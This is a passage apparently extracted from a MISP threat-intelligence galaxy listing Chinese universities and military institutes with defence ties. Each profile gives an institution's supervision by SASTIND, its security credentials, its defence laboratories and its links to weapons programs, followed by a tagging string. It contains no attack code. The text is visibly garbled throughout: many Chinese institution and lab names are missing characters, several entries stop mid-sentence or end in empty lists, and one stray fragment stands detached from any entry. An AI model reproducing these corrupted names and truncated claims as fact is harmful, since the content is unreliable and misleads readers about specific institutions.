JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially. JLU's National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university's national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding. JLU's State Key Laboratory of Superhard Materials (超硬材料国家重点实验室) works closely with China's nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (北京高压科学研究中心) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials. The university hosts at least two defence research labs, located in the university's College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (海战场攻防抗真技教育部重点实验室(B)) is involved in cybersecurity research for the Navy. The lab's academic committee is headed by a computer scientist from China.
Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer. JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Jilin University (吉林大学)"

### Kunming University of Science and Technology (昆明理工大学)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan’s defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university’s involvement in defence research. KMUST carries out high levels of research on metallurgy. It is involved in defence research related to China’s aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

The tag is: misp-galaxy:china-defence-universities="Kunming University of Science and Technology (昆明理工大学)"

### Lanzhou University (兰州大学)

LZU’s involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects. LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university’s defence research and the defence industry relationships. LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology. In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China’s largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China’s nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation. In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

Logistics University of the People’s Armed Police Force (中国人民武装警察部后勤学院)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering. The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (南开大学) and the Tianjin Eminent Electric Cell Material Company (天津敏特电池材料有限公司) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (天津工业大学) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

The tag is: *misp-galaxy:china-defence-universities*="Logistics University of the People’s Armed Police Force (中国人民武装警察部后勤学院)"

Nanchang Hangkong University (南昌航空大学)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a ‘school with national defence education characteristics’, and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials. Five fields of research at NCHU are designated ‘national defence key disciplines’: precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence
research. NCHU is particularly close to AVIC, the Chinese military’s aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (洪都航空工 集) is based in Nanchang and has frequent exchanges with NCHU.

Nanjing Normal University (南京师范大学)

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence. Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (警用地理信息技 警部重 室), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (GIS技 室) in April 2012. Nanjing Normal University has a close relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: misp-galaxy:china-defence-universities="Nanjing Normal University (南京 师 大)"

Nanjing Tech University (南京工业大学)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university's involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects. NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (军工科研 公室) within its Depart of Scientific of Research. This office is responsible for the university's defence-related research and coordination. NJTech's School of Materials Science and Engineering (材料科学与工程学院) has previously worked on defence-related projects. The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: misp-galaxy:china-defence-universities="Nanjing Tech University (南京工 大)"
**Nanjing University (南京大学)**

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research. In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu's MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel's first research center focusing on AI in China. The university's rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii 科技. Megvii has been blacklisted by the US government over human rights abuses.

National Defense University (中国人民解放国防大学)

NDU is the PLA's ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong's peasant-led red army in 1927. The university is devoted to training the PLA's officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National
In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi'an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers. NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic missiles and China's Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world's fastest supercomputer from 2013 to 2016. NUDT's Tianhe-1A supercomputer is based at Hunan University's National Supercomputing Center Changsha.

For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute’s International Cyber Policy Centre’s October 2018 report ‘Picking flowers, making honey: The Chinese military’s collaboration with foreign universities’ documented and analysed NUDT’s overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT's leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad. Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT's 'Intelligence Center' sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China’s overseas intelligence activity. NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training...
and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (海军战役战术中心室) and producing research that looks at operationalising new training and command systems. It is the PLA-N’s last remaining command academic institution.

**Naval Research Academy (中国人民解放军海军研究院)**

The Naval Research Academy was established in July 2017 following Xi Jinping’s military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering. The Naval Research Academy actively collaborates with civilian universities as part of China’s military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi’an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying ‘very close attention to this co-operation with Xi’an Jiaotong University’ in the development and sustainment of naval equipment. The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion. The Naval Research Academy’s involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research
Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (水声技国防科技重点室) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (海洋信息取与安全工和信息化部重点室) of Harbin Engineering University (HEU). The Naval Research Academy’s Liu Qingyu (刘清宇) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference. Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which ‘elaborated on some of the problems facing the national costal defence industry’ and ‘suggested areas for future research into marine acoustics.’ Both students and academics from NPU attended Liu’s presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.

**Naval University of Engineering (中国人民解放海军工程大学)**

NUE is one of the PLA’s five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare. The university is home to two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (舰船综电力技国防科技重点室), which was established in 2010 to carry out ‘indigenous research and development’ into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation’s (CSIC) 712th Research Institute. Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as ‘the father of China’s electromagnetic catapult system’ (中国电磁弹射之父) by official Chinese media sources. NUE’s National Defense Technology Key Laboratory of Marine Vibration and Noise (船舶振动噪声国防科技重点室) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC’s 701st Research Institute, also known as China Ship Development and Design Center (中国船研究中心). Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (舰船核动力工程重点室). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines. Academic departments at the Naval University of Engineering include:

North China Institute of Aerospace Engineering (北航天工学院)

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC). NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China’s missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform. In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (北航天工学院)"

Table 660. Table References
North China University of Science and Technology (北理工大学)

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013. ‘Military-use critical materials’ has been designated as a key defence research area at NCST.

The tag is: misp-galaxy:china-defence-universities="North China University of Science and Technology (北理工大学)"

Table 661. Table References

Links

North University of China (中北大学)

NUC is a civilian university that specialises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC's website, 'Our university has long established excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.' Approximately 2000 of its graduates enter the defence industry each year. NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8 同 新 盟 or 中国兵器 同 新 盟), a group of eight Chinese research institutions that specialize in armament science—the 'B' in ‘B8’ stands for Chinese work for armaments, bingqi (兵器).

The tag is: misp-galaxy:china-defence-universities="North University of China (中北大学)"

Table 662. Table References

Links

Northeastern University (北大学)

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology. NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it
to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research. In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (沈 机研究所 同 新 盟), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (国防科技 展研究院). In 2019, the institute’s senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: misp-galaxy:china-defence-universities="Northeastern University (东 北大学)"

### Northwest Institute of Nuclear Technology (西北核技研究所)

NINT is one of China's main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China's only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry. NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi'an Jiaotong University.

The tag is: misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (西北核技 研究所)"

### Northwestern Polytechnical University (西北工 大学)

The university is one of the ‘Seven Sons of National Defence’ subordinate to MIIT. It is heavily engaged in military research, describing itself as ‘devoted to improving and serving the national defence science and technology industry.’ NWPU’s research focuses on aviation, space and naval technology. Between 2014 and 2018, the university's School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector. NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company's largest customer and the company once claimed to produce 90% of China’s drones. The university
has close ties to state-owned shipbuilding and aerospace conglomerates.

**Officers College of the PAP (中国人民武装警察部警官学院)**

The Officers College of the PAP was established as an institution devoted to training officers of China’s paramilitary service in command and engineering disciplines. The college’s research focuses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering. The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan. The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

Peking University (北京大学)

PKU is considered among China’s most prestigious universities with a storied history. It is ranked as one of China’s top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC’s educational initiatives, including as a Class A institution under the Double First-Class University program. PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university’s involvement in defence research. PKU’s Advanced Technology Institute was founded in 2006 to oversee and develop the university’s defence research. Includes several research centres and supervises the university’s four major defence laboratories. The institute’s research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors. In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (北京大学-中国工程物理研究院新体制 应用物理与技术研究中心). The institution was founded on the basis of the PKU Center for Applied Physics and Technology (北京大学 应用物理与技术研究中心) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU’s report on the centre notes that it will serve China’s national defence needs and that CAEP’s deputy director emphasised it should ‘take the path of military-civil fusion’. The joint centre’s honorary director and founding director, He Xiantu, is credited as the developer of China’s first neutron bomb. PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university’s security culture. In 2006, the university received security credentials for participation in classified defence research.

People’s Armed Police Command College
(中国人民武装警察指挥学院)

The PAP Command College is an institution devoted to training officers in China’s paramilitary service, the People’s Armed Police, that was established in 1984. The college’s key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program. Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college’s Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: misp-galaxy:china-defence-universities="People’s Armed Police Command College"
People's Public Security University of China (中国人民公安大学)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master's and bachelor's degree programs. In 1998, it was merged with the Chinese People's Police University (中国人民警官大学). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Public Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School. PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory. The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

The tag is: `misp-galaxy:china-defence-universities="People's Public Security University of China (中国人民公安大学)"`

Railway Police College (铁路警察学院)

The Railway Police College is China's only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: `misp-galaxy:china-defence-universities="Railway Police College (铁路警察学院)"`
Renmin University (人民大学)

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government’s Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: misp-galaxy:china-defence-universities="Renmin University (人民大学)"

Rocket Force Command College (中国人民解放军 火箭指挥学院)

The Rocket Force Command College is the PLA's premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Command College (中国人民解放军火 箭指挥学院)"

Rocket Force Research Institute (中国人民解放军 火箭研究院)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (火箭 装备 研究院) and the Rocket Force Equipment Academy (火箭 装 备 研究院). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.
Rocket Force Sergeant School (中国人民解放军 火箭军 士官学校)

The Rocket Force Officer College is an institution devoted to training military personnel for China’s tactical and strategic missile forces that was established after Xi Jinping’s military reforms in 2017. The college’s focus is on providing technical training to personnel in the PLARF’s missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Sergeant School (中国人民解放军 火箭军 士官学校)"

Rocket Force University of Engineering (中国人民解放军 火箭军 工程大学)

RFUE is the PLA strategic missile force’s leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force. Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (导弹测试与控制虚拟仿真实验教学中心). The university’s key areas of research include:

The tag is: misp-galaxy:china-defence-universities="Rocket Force University of Engineering (中国人民解放军 火箭军 工程大学)"

Shandong University (山东大学)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities’ involvement in defence
SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province’s 10 outstanding defence industry units. SDU collaborates with the Chinese Academy of Engineering Physics, China’s nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

The tag is: **misp-galaxy:china-defence-universities=“Shandong University (山 大学)”**

| Table 677. Table References |
| Links |

### Shandong University of Technology (山 理工大学)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT’s involvement in defence research and links to the defence industry will grow in coming years. SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

### Shanghai Jiao Tong University (上海交通大学)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction’ agreement between the MOE and SASTIND. The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University. One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a
cyber espionage unit that has been implicated in cyber attacks on the United States. SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (高新船舶与深海装备协同创新中心), where it has contributed to assisting the PLA Navy's transition to offshore defense operations.

Shenyang Ligong University (沈理工大学)

SYLU is a civilian university that specialises in defence research. The university’s primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi’an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND. SYLU is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (辽宁军民融合兵工产业校企联盟) and SYLU’s president doubles as chairman of the alliance. This indicates close ties between SYLU and China’s arms industry.

Shijiazhuang Tiedao University (石家庄 道大学)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College. Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university’s involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research. STDU is home to the National Defense Transportation Research Institute (国防交通研究所), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (与可 化研究所), which develops
military-use information processing software including remote-control systems for aerospace applications.

The tag is: **misp-galaxy:china-defence-universities="Shijiazhuang Tiedao University (石家庄 铁道大学)"**

**Sichuan University (四川大学)**

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research. The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC’s primary nuclear warheads research facility. SCU’s Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility. A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit ‘likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University’s Information Security and Network Attack and Defense Laboratory (四川大学信息安全及攻防研究室).’

The tag is: **misp-galaxy:china-defence-universities="Sichuan University (四川大学)"**

**Soochow University (苏州大学)**

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence industry agency SASTIND since 2016. This arrangement is designed to expand the university’s involvement in defense-related research and training. The university has five designated defence disciplines, centred around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defence links, as it has become a major teaching and research base for the nuclear industry. Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the ‘Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.’

The tag is: **misp-galaxy:china-defence-universities="Soochow University (苏州大学)"**
South China University of Technology （南理工大学）

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university's involvement in defence-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects. As a result of the university's placement under joint construction and its secret-level security credentials, SCUT's involvement in defence research is likely to grow in coming years. Since 2008, the university has hosted a defence research laboratory on materials science. The lab was initially run by the university's president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (广州 南x 控智能科技公司).

The tag is: misp-galaxy:china-defence-universities="South China University of Technology ( 南理工大学)"

Southeast University （南大学）

SEU is a leading Chinese university that engages in high levels of defence research. In 2015, the university undertook RMB180m (AUD37m) of defence research projects, placing it among the Ministry of Education universities most involved in defence research. That figure has almost certainly grown since 2016, when SEU came under a 'joint construction' agreement between the Ministry of Education and defence industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects. The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering ( 网络空 间 安全学院) have been funded by the MSS, China's civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits and works with PLA cyber security officers. SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy's Submarine Academy visited SEU in 2017. SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China's leading manufacturer of military electronics.

The tag is: misp-galaxy:china-defence-universities="Southeast University ( 南大学)"
Southwest University of Science and Technology (西南科技大学)

